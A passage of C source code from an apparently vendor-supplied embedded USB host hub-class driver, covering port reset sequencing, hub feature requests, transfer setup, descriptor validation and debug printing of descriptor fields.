overlap error */\n if( USB_HUB_QOVR == retval )\n {\n usb_hhub_SpecifiedPathWait( mess, (uint16_t)10 );\n }\n else\n {\n usb_shhub_ResetSeq[ptr->ip] = USB_SEQ_2;\n }\n }\n break;\n\n case USB_SEQ_2:\n retval = usb_hhub_request_result(mess->result);\n if( USB_DONE == retval )\n {\n port_status = (uint32_t)usb_ghhub_Data[ptr->ip][hubaddr][0];\n port_status |= (uint32_t)usb_ghhub_Data[ptr->ip][hubaddr][1] << 8;\n port_status |= (uint32_t)usb_ghhub_Data[ptr->ip][hubaddr][2] << 16;\n port_status |= (uint32_t)usb_ghhub_Data[ptr->ip][hubaddr][3] << 24;\n /* Check Reset Change(C_PORT_RESET) */\n if( USB_BIT_C_PORT_RESET != ( port_status & USB_BIT_C_PORT_RESET ) )\n {\n usb_shhub_ResetSeq[ptr->ip] = USB_SEQ_0;\n usb_hhub_SpecifiedPathWait( mess, (uint16_t)10 ); }\n else\n {\n /* Hub port ClearFeature */\n usb_cpu_DelayXms((uint16_t)20);\n\n retval = usb_hhub_PortClrFeature( ptr, hubaddr, portnum, (uint16_t)USB_HUB_C_PORT_RESET,\n usb_hhub_class_request_complete );\n /* Submit overlap error */\n if( USB_HUB_QOVR == retval )\n {\n usb_hhub_SpecifiedPathWait( mess, (uint16_t)10 );\n }\n else\n {\n usb_shhub_ResetSeq[ptr->ip] = USB_SEQ_3;\n }\n }\n }\n break;\n\n case USB_SEQ_3:\n retval = usb_hhub_request_result(mess->result);\n if( USB_DONE == retval )\n {\n usb_shhub_ResetSeq[ptr->ip] = USB_SEQ_0;\n usb_shhub_Process[ptr->ip] = USB_MSG_HUB_ATTACH;\n usb_hhub_SpecifiedPath(mess);\n }\n break;\n\n default:\n usb_shhub_ResetSeq[ptr->ip] = USB_SEQ_0;\n usb_shhub_Process[ptr->ip] = USB_NONE;\n break;\n }\n\n err = USB_REL_BLK(USB_HUB_MPL,(USB_MH_t)mess);\n if( USB_OK != err )\n {\n USB_PRINTF0(\"### USB HostHubClass rel_blk error\\n\");\n }\n }\n} /* eof usb_hhub_port_reset() */\n\n\n/******************************************************************************\nFunction Name : usb_hhub_release\nDescription : HUB driver release\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid usb_hhub_release(USB_UTR_t *ptr)\n{\n uint16_t i;\n\n for( i = 0; i < USB_MAXHUB; i++ )\n {\n /* Hub driver release */\n R_usb_hstd_DriverRelease(ptr, (uint8_t)USB_IFCLS_HUB);\n }\n} /* eof usb_hhub_release() */\n\n\n/******************************************************************************\nFunction Name : usb_hhub_check_class\nDescription : HUB Class driver check\nArguments : uint16_t **table : Descriptor, etc\nReturn value : none\n******************************************************************************/\nvoid usb_hhub_check_class(USB_UTR_t *ptr, uint16_t **table)\n{\n USB_CLSINFO_t *p_blf;\n USB_CLSINFO_t *cp;\n USB_ER_t err;\n \n usb_shhub_DeviceTable[ptr->ip] = (uint8_t*)(table[0]);\n usb_shhub_ConfigTable[ptr->ip] = (uint8_t*)(table[1]);\n usb_shhub_InterfaceTable[ptr->ip] = (uint8_t*)(table[2]);\n *table[3] = USB_DONE;\n usb_shhub_Spec[ptr->ip] = *table[4];\n usb_shhub_Root[ptr->ip] = *table[5];\n usb_shhub_Speed[ptr->ip] = *table[6];\n usb_shhub_DevAddr[ptr->ip] = *table[7];\n usb_shhub_Index[ptr->ip] = usb_hhub_ChkTblIndx1(ptr, usb_shhub_DevAddr[ptr->ip]);\n \n usb_shhub_ClassSeq[ptr->ip]=0;\n\n /* Get mem pool blk */\n if( USB_OK == USB_PGET_BLK( USB_HUB_MPL, &p_blf ) )\n {\n cp = (USB_CLSINFO_t*)p_blf;\n cp->msginfo = USB_MSG_CLS_CHECKREQUEST;\n\n cp->ipp = ptr->ipp;\n cp->ip = ptr->ip;\n \n /* Enumeration wait TaskID change */\n R_usb_hstd_EnuWait(ptr, (uint8_t)USB_HUB_TSK);\n \n /* Class check of enumeration sequence move to class function */\n err = USB_SND_MSG(USB_HUB_MBX, (USB_MSG_t*)cp);\n if( USB_OK != err )\n {\n /* Send Message failure */\n USB_PRINTF1(\"Host HUB snd_msg error %x\\n\", err);\n }\n }\n else\n {\n /* Send Message failure */\n while( 1 );\n }\n} /* eof usb_hhub_check_class() */\n\n\n/******************************************************************************\nFunction Name : usb_hhub_trans_start\nDescription : HUB sys data transfer / control transfer\nArguments : uint16_t hubaddr : hub address\n : uint32_t size : Data Transfer size\n : uint8_t *table : Receive Data area\n : USB_CB_t complete : Callback function\nReturn value : none\n******************************************************************************/\nvoid usb_hhub_trans_start(USB_UTR_t *ptr, uint16_t hubaddr, uint32_t size, uint8_t *table, USB_CB_t complete)\n{\n USB_ER_t err;\n\n /* Transfer structure setting */\n usb_shhub_DataMess[ptr->ip][hubaddr].keyword = usb_shhub_InfoData[ptr->ip][hubaddr].pipe_num;\n usb_shhub_DataMess[ptr->ip][hubaddr].tranadr = table;\n usb_shhub_DataMess[ptr->ip][hubaddr].tranlen = size;\n usb_shhub_DataMess[ptr->ip][hubaddr].setup = 0;\n usb_shhub_DataMess[ptr->ip][hubaddr].status = USB_DATA_WAIT;\n usb_shhub_DataMess[ptr->ip][hubaddr].complete = complete;\n usb_shhub_DataMess[ptr->ip][hubaddr].segment = USB_TRAN_END;\n\n usb_shhub_DataMess[ptr->ip][hubaddr].ipp = ptr->ipp;\n usb_shhub_DataMess[ptr->ip][hubaddr].ip = ptr->ip;\n\n /* Transfer start */\n err = R_usb_hstd_TransferStart(&usb_shhub_DataMess[ptr->ip][hubaddr]);\n if( USB_E_OK != err )\n {\n /* Send Message failure */\n USB_PRINTF1(\"### usb_hhub_trans_start error (%ld)\\n\", err);\n }\n} /* eof usb_hhub_trans_start() */\n\n\n/******************************************************************************\nFunction Name : usb_hhub_PortSetFeature\nDescription : SetFeature request\nArguments : uint16_t hubaddr : hub address\n : uint16_t port : down port number\n : uint16_t command : request command\nReturn value : uint16_t : DONE/ERROR\n******************************************************************************/\nuint16_t usb_hhub_PortSetFeature(USB_UTR_t *ptr, uint16_t hubaddr, uint16_t port, uint16_t command, USB_CB_t complete)\n{\n USB_ER_t qerr;\n\n /* Request */\n usb_shhub_ClassRequest[ptr->ip][0] = USB_SET_FEATURE | USB_HOST_TO_DEV | USB_CLASS | USB_OTHER;\n usb_shhub_ClassRequest[ptr->ip][1] = command;\n usb_shhub_ClassRequest[ptr->ip][2] = port; /* Port number */\n usb_shhub_ClassRequest[ptr->ip][3] = 0;\n usb_shhub_ClassRequest[ptr->ip][4] = hubaddr; /* Device address */\n\n /* Port SetFeature */\n usb_shhub_ControlMess[ptr->ip].keyword = USB_PIPE0;\n usb_shhub_ControlMess[ptr->ip].tranadr = (void*)&usb_ghhub_Data[ptr->ip][hubaddr][0];\n usb_shhub_ControlMess[ptr->ip].tranlen = (uint32_t)usb_shhub_ClassRequest[ptr->ip][3];\n usb_shhub_ControlMess[ptr->ip].setup = usb_shhub_ClassRequest[ptr->ip];\n usb_shhub_ControlMess[ptr->ip].segment = USB_TRAN_END;\n usb_shhub_ControlMess[ptr->ip].complete = complete;\n\n usb_shhub_ControlMess[ptr->ip].ipp = ptr->ipp;\n usb_shhub_ControlMess[ptr->ip].ip = ptr->ip;\n\n /* Transfer start */\n qerr = R_usb_hstd_TransferStart(&usb_shhub_ControlMess[ptr->ip]);\n if( USB_E_QOVR == qerr )\n {\n return USB_HUB_QOVR;\n }\n\n return USB_DONE;\n} /* eof usb_hhub_PortSetFeature() */\n\n\n/******************************************************************************\nFunction Name : usb_hhub_PortClrFeature\nDescription : ClearFeature request\nArguments : uint16_t hubaddr : hub address\n : uint16_t port : down port number\n : uint16_t command : request command\nReturn value : uint16_t : DONE/ERROR\n******************************************************************************/\nuint16_t usb_hhub_PortClrFeature(USB_UTR_t *ptr, uint16_t hubaddr, uint16_t port, uint16_t command, USB_CB_t complete)\n{\n USB_ER_t qerr;\n\n /* Request */\n usb_shhub_ClassRequest[ptr->ip][0] = USB_CLEAR_FEATURE | USB_HOST_TO_DEV | USB_CLASS | USB_OTHER;\n usb_shhub_ClassRequest[ptr->ip][1] = command;\n usb_shhub_ClassRequest[ptr->ip][2] = port; /* Port number */\n usb_shhub_ClassRequest[ptr->ip][3] = 0;\n usb_shhub_ClassRequest[ptr->ip][4] = hubaddr; /* Device address */\n\n /* Port ClearFeature */\n usb_shhub_ControlMess[ptr->ip].keyword = USB_PIPE0;\n usb_shhub_ControlMess[ptr->ip].tranadr = (void*)&usb_ghhub_Data[ptr->ip][hubaddr][0];\n usb_shhub_ControlMess[ptr->ip].tranlen = (uint32_t)usb_shhub_ClassRequest[ptr->ip][3];\n usb_shhub_ControlMess[ptr->ip].setup = usb_shhub_ClassRequest[ptr->ip];\n usb_shhub_ControlMess[ptr->ip].segment = USB_TRAN_END;\n usb_shhub_ControlMess[ptr->ip].complete = complete;\n\n usb_shhub_ControlMess[ptr->ip].ipp = ptr->ipp;\n usb_shhub_ControlMess[ptr->ip].ip = ptr->ip;\n\n /* Transfer start */\n qerr = R_usb_hstd_TransferStart(&usb_shhub_ControlMess[ptr->ip]);\n if( USB_E_QOVR == qerr )\n {\n return USB_HUB_QOVR;\n }\n\n return USB_DONE;\n} /* eof usb_hhub_PortClrFeature() */\n\n\n/******************************************************************************\nFunction Name : usb_hhub_request_result\nDescription : Hub Request Result Check\nArguments : uint16_t errcheck : hub result\nReturn value : uint16_t : USB_DONE/USB_ERROR\n******************************************************************************/\nuint16_t usb_hhub_request_result(uint16_t errcheck)\n{\n if( errcheck == USB_DATA_TMO )\n {\n USB_PRINTF0(\"*** HUB Request Timeout error !\\n\");\n return USB_ERROR;\n }\n else if( errcheck == USB_DATA_STALL )\n {\n USB_PRINTF0(\"*** HUB Request STALL !\\n\");\n return USB_ERROR;\n }\n else if( errcheck != USB_CTRL_END )\n {\n USB_PRINTF0(\"*** HUB Request error !\\n\");\n return USB_ERROR;\n }\n else\n {\n }\n return USB_DONE;\n} /* eof usb_hhub_request_result() */\n\n/******************************************************************************\nFunction Name : usb_hhub_trans_complete\nDescription : Recieve complete Hub and Port Status Change Bitmap\nArguments : USB_UTR_t *mess : USB system internal message.\nReturn value : none\n******************************************************************************/\nvoid usb_hhub_trans_complete(USB_UTR_t *mess, uint16_t data1, uint16_t data2)\n{\n USB_ER_t err;\n uint16_t pipenum, hubaddr;\n USB_UTR_t *ptr;\n \n ptr = (USB_UTR_t *)mess;\n pipenum = mess->keyword;\n hubaddr = usb_hhub_GetHubaddr(ptr, pipenum);\n usb_shhub_HubAddr[ptr->ip] = hubaddr;\n \n if( ( USB_MSG_HUB_SUBMITRESULT != usb_shhub_Process[ptr->ip] ) && ( USB_NONE != usb_shhub_Process[ptr->ip] ) )\n {\n err = USB_SND_MSG( USB_HUB_MBX, (USB_MSG_t*)mess );\n if( USB_OK != err )\n {\n /* Send Message failure */\n USB_PRINTF0(\"### HUB snd_msg error\\n\");\n }\n }\n else\n {\n usb_shhub_Process[ptr->ip] = USB_NONE;\n \n switch( mess->status )\n {\n case USB_DATA_SHT:\n USB_PRINTF1(\"*** receive short(pipe %d : HUB) !\\n\", pipenum);\n /* Continue */\n /* Direction is in then data receive end */\n case USB_DATA_OK:\n if( ( USB_DEFAULT == usb_ghstd_MgrMode[ptr->ip][0] ) || ( USB_DEFAULT == usb_ghstd_MgrMode[ptr->ip][1] ) )\n {\n err = USB_SND_MSG( USB_HUB_MBX, (USB_MSG_t*)mess );\n if( USB_OK != err )\n {\n USB_PRINTF0(\"### HUB task snd_msg error\\n\");\n }\n }\n else\n {\n /* HUB port connection */\n usb_shhub_Info[ptr->ip] = USB_MSG_HUB_SUBMITRESULT;\n usb_shhub_Process[ptr->ip] = USB_MSG_HUB_EVENT;\n usb_hhub_SpecifiedPath(mess);\n }\n break;\n case USB_DATA_STALL:\n USB_PRINTF0(\"*** Data Read error. ( STALL ) !\\n\");\n /* CLEAR_FEATURE */\n usb_hstd_ClearStall(ptr, pipenum, (USB_CB_t)&usb_cstd_DummyFunction);\n break;\n case USB_DATA_OVR:\n USB_PRINTF0(\"### receiver over. !\\n\");\n break;\n case USB_DATA_STOP:\n USB_PRINTF0(\"### receiver stop. !\\n\");\n break;\n default:\n USB_PRINTF0(\"### HUB Class Data Read error !\\n\");\n break;\n }\n }\n} /* eof usb_hhub_trans_complete() */\n\n\n/******************************************************************************\nFunction Name : usb_hhub_class_request_complete\nDescription : Hub class check result\nArguments : USB_UTR_t *mess : USB system internal message.\nReturn value : none\n******************************************************************************/\nvoid usb_hhub_class_request_complete(USB_UTR_t *ptr, uint16_t data1, uint16_t data2)\n{\n USB_MH_t p_blf;\n USB_ER_t err;\n USB_CLSINFO_t *cp;\n \n /* Get mem pool blk */\n if( USB_OK == USB_PGET_BLK( USB_HUB_MPL, &p_blf) )\n {\n cp = (USB_CLSINFO_t*)p_blf;\n cp->msginfo = usb_shhub_Process[ptr->ip];\n cp->keyword = ptr->keyword;\n cp->result = ptr->status;\n\n cp->ipp = ptr->ipp;\n cp->ip = ptr->ip;\n\n /* Send message */\n err = USB_SND_MSG( USB_HUB_MBX, (USB_MSG_t*)p_blf );\n if( USB_OK != err )\n {\n /* Send message failure */\n err = USB_REL_BLK(USB_HUB_MPL,(USB_MH_t)p_blf);\n USB_PRINTF0(\"### CheckResult function snd_msg error\\n\");\n }\n }\n else\n {\n USB_PRINTF0(\"### CheckResult function pget_blk error\\n\");\n while( 1 );\n }\n} /* eof usb_hhub_class_request_complete() */\n\n\n/******************************************************************************\nFunction Name : usb_hhub_initial\nDescription : Global memory initialized\nArguments : uint16_t data1 : necessary for regist the callback\n : uint16_t data2 : necessary for regist the callback\nReturn value : none\n******************************************************************************/\nvoid usb_hhub_initial(USB_UTR_t *ptr, uint16_t data1, uint16_t data2)\n{\n uint16_t i;\n\n for( i = 0u; i < (USB_MAXDEVADDR + 1u); i++ )\n {\n usb_shhub_InfoData[ptr->ip][i].up_addr = 0; /* Up-address clear */\n usb_shhub_InfoData[ptr->ip][i].up_port_num = 0; /* Up-port num clear */\n usb_shhub_InfoData[ptr->ip][i].port_num = 0; /* Port number clear */\n usb_shhub_InfoData[ptr->ip][i].pipe_num = 0; /* Pipe number clear */\n }\n usb_shhub_Number[ptr->ip] = 0;\n} /* eof usb_hhub_initial() */\n\n\n/******************************************************************************\nFunction Name : usb_hhub_pipe_info\nDescription : Set pipe information\nArguments : uint8_t *table : Interface Descriptor\n : uint16_t offset : DEF_EP table offset\n : uint16_t speed : device speed\n : uint16_t length : Interface Descriptor length\nReturn value : uint16_t : DONE/ERROR\n******************************************************************************/\nuint16_t usb_hhub_pipe_info(USB_UTR_t *ptr, uint8_t *table, uint16_t offset, uint16_t speed, uint16_t length)\n{\n uint16_t ofdsc;\n uint16_t retval;\n\n /* Check Descriptor */\n if( USB_DT_INTERFACE != table[1] )\n {\n /* Configuration Descriptor */\n USB_PRINTF0(\"### Interface descriptor error (HUB).\\n\");\n return USB_ERROR;\n }\n\n /* Check Endpoint Descriptor */\n ofdsc = table[0];\n while( ofdsc < (length - table[0]) )\n {\n /* Search within Interface */\n switch( table[ofdsc + 1] )\n {\n /* Device Descriptor */\n case USB_DT_DEVICE:\n /* Configuration Descriptor */\n case USB_DT_CONFIGURATION:\n /* String Descriptor */\n case USB_DT_STRING:\n /* Interface Descriptor */\n case USB_DT_INTERFACE:\n USB_PRINTF0(\"### Endpoint Descriptor error(HUB).\\n\");\n return USB_ERROR;\n break;\n /* Endpoint Descriptor */\n case USB_DT_ENDPOINT:\n /* Interrupt Endpoint */\n if( USB_EP_INT == ( table[ofdsc + 3] & USB_EP_TRNSMASK ) )\n {\n retval = R_usb_hstd_ChkPipeInfo( speed, &usb_ghhub_TmpEPTbl[ptr->ip][offset], &table[ofdsc] );\n if( USB_DIR_H_IN == retval )\n {\n return USB_DONE;\n }\n else\n {\n USB_PRINTF0(\"### Endpoint Descriptor error(HUB).\\n\");\n }\n }\n ofdsc += table[ofdsc];\n break;\n /* Device Qualifier Descriptor */\n case USB_DT_DEVICE_QUALIFIER:\n /* Other Speed Configuration */\n case USB_DT_OTHER_SPEED_CONF:\n /* Interface Power Descriptor */\n case USB_DT_INTERFACE_POWER:\n USB_PRINTF0(\"### Endpoint Descriptor error(HUB).\\n\");\n return USB_ERROR;\n break;\n /* Another Descriptor */\n default:\n ofdsc += table[ofdsc];\n break;\n }\n }\n return USB_ERROR;\n} /* eof usb_hhub_pipe_info() */\n\n\n/******************************************************************************\nFunction Name : usb_hhub_CheckRequest\nDescription : Class check request\nArguments : uint16_t result\nReturn value : none\n******************************************************************************/\nvoid usb_hhub_CheckRequest(USB_UTR_t *ptr, uint16_t result)\n{\n USB_MH_t p_blf;\n USB_ER_t err;\n USB_CLSINFO_t *cp;\n \n /* Get mem pool blk */\n if( USB_OK == USB_PGET_BLK( USB_HUB_MPL, &p_blf) )\n {\n cp = (USB_CLSINFO_t*)p_blf;\n cp->msginfo = USB_MSG_CLS_CHECKREQUEST;\n cp->result = result;\n\n cp->ipp = ptr->ipp;\n cp->ip = ptr->ip;\n\n /* Send message */\n err = USB_SND_MSG( USB_HUB_MBX, (USB_MSG_t*)p_blf );\n if( USB_OK != err )\n {\n /* Send message failure */\n err = USB_REL_BLK(USB_HUB_MPL,(USB_MH_t)p_blf);\n USB_PRINTF0(\"### CheckRequest function snd_msg error\\n\");\n }\n }\n else\n {\n /* Get memoryblock failure */\n USB_PRINTF0(\"### CheckRequest function pget_blk error\\n\");\n while( 1 );\n }\n \n} /* eof usb_hhub_CheckRequest() */\n\n\n/******************************************************************************\nFunction Name : usb_hstd_CheckDescriptor\nDescription : check descriptor\nArguments : uint8_t *table : table (indata).\n : uint16_t spec : spec.\nReturn value : none\n******************************************************************************/\nuint16_t usb_hstd_CheckDescriptor(uint8_t *table, uint16_t spec)\n{\n/* Condition compilation by the difference of useful function */\n#ifdef USB_DEBUGPRINT_PP\n /* Check Descriptor */\n if( table[1] == spec )\n {\n switch( table[1] )\n {\n /* Device Descriptor */\n case USB_DT_DEVICE:\n USB_PRINTF0(\" Device Descriptor.\\n\");\n break;\n /* Configuration Descriptor */\n case USB_DT_CONFIGURATION:\n USB_PRINTF0(\" Configuration Descriptor.\\n\");\n break;\n /* String Descriptor */\n case USB_DT_STRING:\n USB_PRINTF0(\" String Descriptor.\\n\");\n break;\n /* Interface Descriptor */\n case USB_DT_INTERFACE:\n USB_PRINTF0(\" Interface Descriptor.\\n\");\n break;\n /* Endpoint Descriptor */\n case USB_DT_ENDPOINT:\n USB_PRINTF0(\" Endpoint Descriptor.\\n\");\n break;\n /* Device Qualifier Descriptor */\n case USB_DT_DEVICE_QUALIFIER:\n USB_PRINTF0(\" Device Qualifier Descriptor.\\n\");\n break;\n /* Other Speed Configuration Descriptor */\n case USB_DT_OTHER_SPEED_CONF:\n USB_PRINTF0(\" Other Speed Configuration Descriptor.\\n\");\n break;\n /* Interface Power Descriptor */\n case USB_DT_INTERFACE_POWER:\n USB_PRINTF0(\" Interface Power Descriptor.\\n\");\n break;\n /* HUB Descriptor */\n case USB_DT_HUBDESCRIPTOR:\n USB_PRINTF0(\" HUB Descriptor.\\n\");\n break;\n /* Not Descriptor */\n default:\n USB_PRINTF0(\"### Descriptor error (Not Standard Descriptor).\\n\");\n return USB_ERROR;\n break;\n }\n return USB_DONE;\n }\n else\n {\n switch( table[1] )\n {\n /* Device Descriptor */\n case USB_DT_DEVICE:\n USB_PRINTF0(\"### Descriptor error ( Device Descriptor ).\\n\");\n break;\n /* Configuration Descriptor */\n case USB_DT_CONFIGURATION:\n USB_PRINTF0(\"### Descriptor error ( Configuration Descriptor ).\\n\");\n break;\n /* String Descriptor */\n case USB_DT_STRING:\n USB_PRINTF0(\"### Descriptor error ( String Descriptor ).\\n\");\n break;\n /* Interface Descriptor ? */\n case USB_DT_INTERFACE:\n USB_PRINTF0(\"### Descriptor error ( Interface Descriptor ).\\n\");\n break;\n /* Endpoint Descriptor */\n case USB_DT_ENDPOINT:\n USB_PRINTF0(\"### Descriptor error ( Endpoint Descriptor ).\\n\");\n break;\n /* Device Qualifier Descriptor */\n case USB_DT_DEVICE_QUALIFIER:\n USB_PRINTF0(\"### Descriptor error ( Device Qualifier Descriptor ).\\n\");\n break;\n /* Other Speed Configuration Descriptor */\n case USB_DT_OTHER_SPEED_CONF:\n USB_PRINTF0(\"### Descriptor error ( Other Speed Configuration Descriptor ).\\n\");\n break;\n /* Interface Power Descriptor */\n case USB_DT_INTERFACE_POWER:\n USB_PRINTF0(\"### Descriptor error ( Interface Power Descriptor ).\\n\");\n break;\n /* Not Descriptor */\n default:\n USB_PRINTF0(\"### Descriptor error ( Not Standard Descriptor ).\\n\");\n break;\n }\n return USB_ERROR;\n }\n#else /* Not USB_DEBUGPRINT_PP */\n return USB_DONE;\n#endif /* USB_DEBUGPRINT_PP */\n} /* eof usb_hstd_CheckDescriptor() */\n\n/******************************************************************************\nFunction Name : usb_hhub_ChkConfig\nDescription : Configuration Descriptor check\nArguments : uint16_t **table : Configuration Descriptor\n : uint16_t spec : HUB specification\nReturn value : uint16_t : DONE/ERROR\n******************************************************************************/\nuint16_t usb_hhub_ChkConfig(uint16_t **table, uint16_t spec)\n{\n uint8_t *descriptor_table;\n uint16_t ofset;\n\n descriptor_table = (uint8_t*)(table[1]);\n\n /* Descriptor check */\n ofset = usb_hstd_CheckDescriptor(descriptor_table, (uint16_t)USB_DT_CONFIGURATION);\n if( USB_ERROR == ofset )\n {\n USB_PRINTF0(\"### Configuration descriptor error !\\n\");\n return USB_ERROR;\n }\n\n /* Check interface number */\n switch( spec )\n {\n case USB_FSHUB: /* Full Speed Hub */\n if( descriptor_table[4] != USB_HUB_INTNUMFS )\n {\n USB_PRINTF0(\"### HUB configuration descriptor error !\\n\");\n return USB_ERROR;\n }\n break;\n case USB_HSHUBS: /* Hi Speed Hub(Multi) */\n if( descriptor_table[4] != USB_HUB_INTNUMHSS )\n {\n USB_PRINTF0(\"### HUB configuration descriptor error !\\n\");\n return USB_ERROR;\n }\n break;\n case USB_HSHUBM: /* Hi Speed Hub(Single) */\n if( descriptor_table[4] != USB_HUB_INTNUMHSM )\n {\n USB_PRINTF0(\"### HUB configuration descriptor error !\\n\");\n return USB_ERROR;\n }\n break;\n default:\n return USB_ERROR;\n break;\n }\n return USB_DONE;\n} /* eof usb_hhub_ChkConfig() */\n\n\n/******************************************************************************\nFunction Name : usb_hhub_ChkInterface\nDescription : Interface Descriptor check\nArguments : uint16_t **table : Interface Descriptor\n : uint16_t spec : HUB specification\nReturn value : uint16_t : DONE/ERROR\n******************************************************************************/\nuint16_t usb_hhub_ChkInterface(uint16_t **table, uint16_t spec)\n{\n uint8_t *descriptor_Table;\n uint16_t ofset;\n\n descriptor_Table = (uint8_t*)(table[2]);\n\n /* Descriptor check */\n ofset = usb_hstd_CheckDescriptor(descriptor_Table, (uint16_t)USB_DT_INTERFACE);\n if( USB_ERROR == ofset )\n {\n USB_PRINTF0(\"### Interface descriptor error !\\n\");\n return USB_ERROR;\n }\n\n /* Check interface class */\n if( descriptor_Table[5] != USB_IFCLS_HUB )\n {\n USB_PRINTF0(\"### HUB interface descriptor error !\\n\");\n return USB_ERROR;\n }\n\n /* Check interface number */\n switch( spec )\n {\n case USB_FSHUB: /* Full Speed Hub */\n if( descriptor_Table[2] != (USB_HUB_INTNUMFS - 1u) )\n {\n USB_PRINTF0(\"### HUB interface descriptor error !\\n\");\n return USB_ERROR;\n }\n break;\n case USB_HSHUBS: /* Hi Speed Hub(Single) */\n if( descriptor_Table[2] != (USB_HUB_INTNUMHSS - 1u) )\n {\n USB_PRINTF0(\"### HUB interface descriptor error !\\n\");\n return USB_ERROR;\n }\n break;\n case USB_HSHUBM: /* Hi Speed Hub(Multi) */\n if( descriptor_Table[2] != (USB_HUB_INTNUMHSM - 1u) )\n {\n USB_PRINTF0(\"### HUB interface descriptor error !\\n\");\n return USB_ERROR;\n }\n break;\n default:\n return USB_ERROR;\n break;\n }\n return USB_DONE;\n} /* eof usb_hhub_ChkInterface() */\n\n\n/******************************************************************************\nFunction Name : usb_hhub_ChkTblIndx1\nDescription : table index search\nArguments : uint16_t hubaddr : hub address\nReturn value : uint16_t : table index\n******************************************************************************/\nuint16_t usb_hhub_ChkTblIndx1(USB_UTR_t *ptr, uint16_t hubaddr)\n{\n uint16_t pipecheck[USB_MAX_PIPE_NO];\n uint16_t i;\n\n for( i = 0; i < USB_MAX_PIPE_NO; i++ )\n {\n /* Check table clear */\n pipecheck[i] = 0;\n }\n\n for( i = 0; i < (USB_MAXDEVADDR + 1u); i++ )\n {\n /* Used pipe number set */\n if( 0 != usb_shhub_InfoData[ptr->ip][i].pipe_num )\n {\n pipecheck[ usb_shhub_InfoData[ptr->ip][i].pipe_num - 1 ] = 1;\n }\n }\n\n for( i = USB_MAX_PIPE_NO; i != 0; i-- )\n {\n if( 0 == pipecheck[i - 1] )\n {\n return (uint16_t)((USB_MAX_PIPE_NO - i) * USB_EPL);\n }\n }\n return (USB_ERROR);\n} /* eof usb_hhub_ChkTblIndx1() */\n\n\n/******************************************************************************\nFunction Name : usb_hhub_ChkTblIndx2\nDescription : table index search\nArguments : uint16_t hubaddr : hub address\nReturn value : uint16_t : table index\n******************************************************************************/\nuint16_t usb_hhub_ChkTblIndx2(USB_UTR_t *ptr, uint16_t hubaddr)\n{\n/* Search table index */\n switch( usb_shhub_InfoData[ptr->ip][hubaddr].pipe_num )\n {\n case USB_PIPE9: return (uint16_t)(0u * USB_EPL); break;\n case USB_PIPE8: return (uint16_t)(1u * USB_EPL); break;\n case USB_PIPE7: return (uint16_t)(2u * USB_EPL); break;\n case USB_PIPE6: return (uint16_t)(3u * USB_EPL); break;\n default: break;\n }\n\n return (USB_ERROR);\n} /* eof usb_hhub_ChkTblIndx2() */\n\n\n/******************************************************************************\nFunction Name : usb_hhub_ChkTblIndx3\nDescription : table index search\nArguments : uint16_t pipenum : pipe number\nReturn value : uint16_t : table index\n******************************************************************************/\nuint16_t usb_hhub_ChkTblIndx3(uint16_t pipenum)\n{\n/* Search table index */\n switch( pipenum )\n {\n case USB_PIPE9: return (uint16_t)(0u * USB_EPL); break;\n case USB_PIPE8: return (uint16_t)(1u * USB_EPL); break;\n case USB_PIPE7: return (uint16_t)(2u * USB_EPL); break;\n case USB_PIPE6: return (uint16_t)(3u * USB_EPL); break;\n default: break;\n }\n\n return (USB_ERROR);\n} /* eof usb_hhub_ChkTblIndx3() */\n\n\n/******************************************************************************\nFunction Name : usb_hstd_DeviceDescripInfo\nDescription : device descriptor info\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid usb_hstd_DeviceDescripInfo(USB_UTR_t *ptr)\n{\n/* Condition compilation by the difference of useful function */\n#ifdef USB_DEBUGPRINT_PP\n uint8_t *p;\n\n p = usb_hstd_DevDescriptor(ptr);\n\n /* For DEMO */\n USB_PRINTF0(\"Device descriptor fields\\n\");\n USB_PRINTF2(\" bcdUSB : %02x.%02x\\n\", p[0x03], p[0x02]);\n USB_PRINTF1(\" bDeviceClass : 0x%02x\\n\", p[0x04]);\n USB_PRINTF1(\" bDeviceSubClass: 0x%02x\\n\", p[0x05]);\n USB_PRINTF1(\" bProtocolCode : 0x%02x\\n\", p[0x06]);\n USB_PRINTF1(\" bMaxPacletSize : 0x%02x\\n\", p[0x07]);\n USB_PRINTF2(\" idVendor : 0x%02x%02x\\n\", p[0x09], p[0x08]);\n USB_PRINTF2(\" idProduct : 0x%02x%02x\\n\", p[0x0b], p[0x0a]);\n USB_PRINTF2(\" bcdDevice : 0x%02x%02x\\n\", p[0x0d], p[0x0c]);\n USB_PRINTF1(\" iSerialNumber : 0x%02x\\n\", p[0x10]);\n USB_PRINTF1(\" bNumConfig : 0x%02x\\n\", p[0x11]);\n USB_PRINTF0(\"\\n\");\n#endif /* USB_DEBUGPRINT_PP */\n} /* eof usb_hstd_DeviceDescripInfo() */\n\n\n/******************************************************************************\nFunction Name : usb_hstd_ConfigDescripInfo\nDescription : configuration descriptor info\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid usb_hstd_ConfigDescripInfo(USB_UTR_t *ptr)\n{\n/* Condition compilation by the difference of useful function */\n#ifdef USB_DEBUGPRINT_PP\n uint8_t *p;\n uint16_t len;\n\n p = usb_hstd_ConDescriptor(ptr);\n\n len = 0;\n while( len < (p[2]) )\n {\n /* Search within Configuration descriptor */\n switch( p[len + 1] )\n {\n /* Configuration Descriptor ? */\n case 0x02:\n USB_PRINTF0(\"Configuration descriptor fields\\n\");\n USB_PRINTF1(\" Configuration Value : 0x%02x\\n\", p[0x05]);\n USB_PRINTF1(\" Number of Interface : 0x%02x\\n\", p[0x04]);\n break;\n /* Interface Descriptor ? */\n case 0x04:\n USB_PRINTF0(\"\\nInterface descriptor fields\\n\");\n switch( p[len + 5] )\n {\n /* Class check */\n /* Audio Class */\n case 1: \n USB_PRINTF0(\" This device has Audio Class.\\n\");\n break;\n /* CDC-Control Class */\n case 2:\n USB_PRINTF0(\" This device has CDC-Control Class.\\n\");\n break;\n /* HID Class */\n case 3:\n USB_PRINTF0(\" This device has HID Class.\\n\");\n break;\n /* Physical Class */\n case 5:\n USB_PRINTF0(\" This device has Physical Class.\\n\");\n break;\n /* Image Class */\n case 6:\n USB_PRINTF0(\" This device has Image Class.\\n\");\n break;\n /* Printer Class */\n case 7:\n USB_PRINTF0(\" This device has Printer Class.\\n\");\n break;\n /* Mass Storage Class */\n case 8:\n USB_PRINTF0(\" I/F class : Mass Storage\\n\");\n switch( p[len + 6] )\n {\n case 0x05:\n USB_PRINTF0(\" I/F subclass : SFF-8070i\\n\");\n break;\n case 0x06:\n USB_PRINTF0(\" I/F subclass : SCSI command\\n\");\n 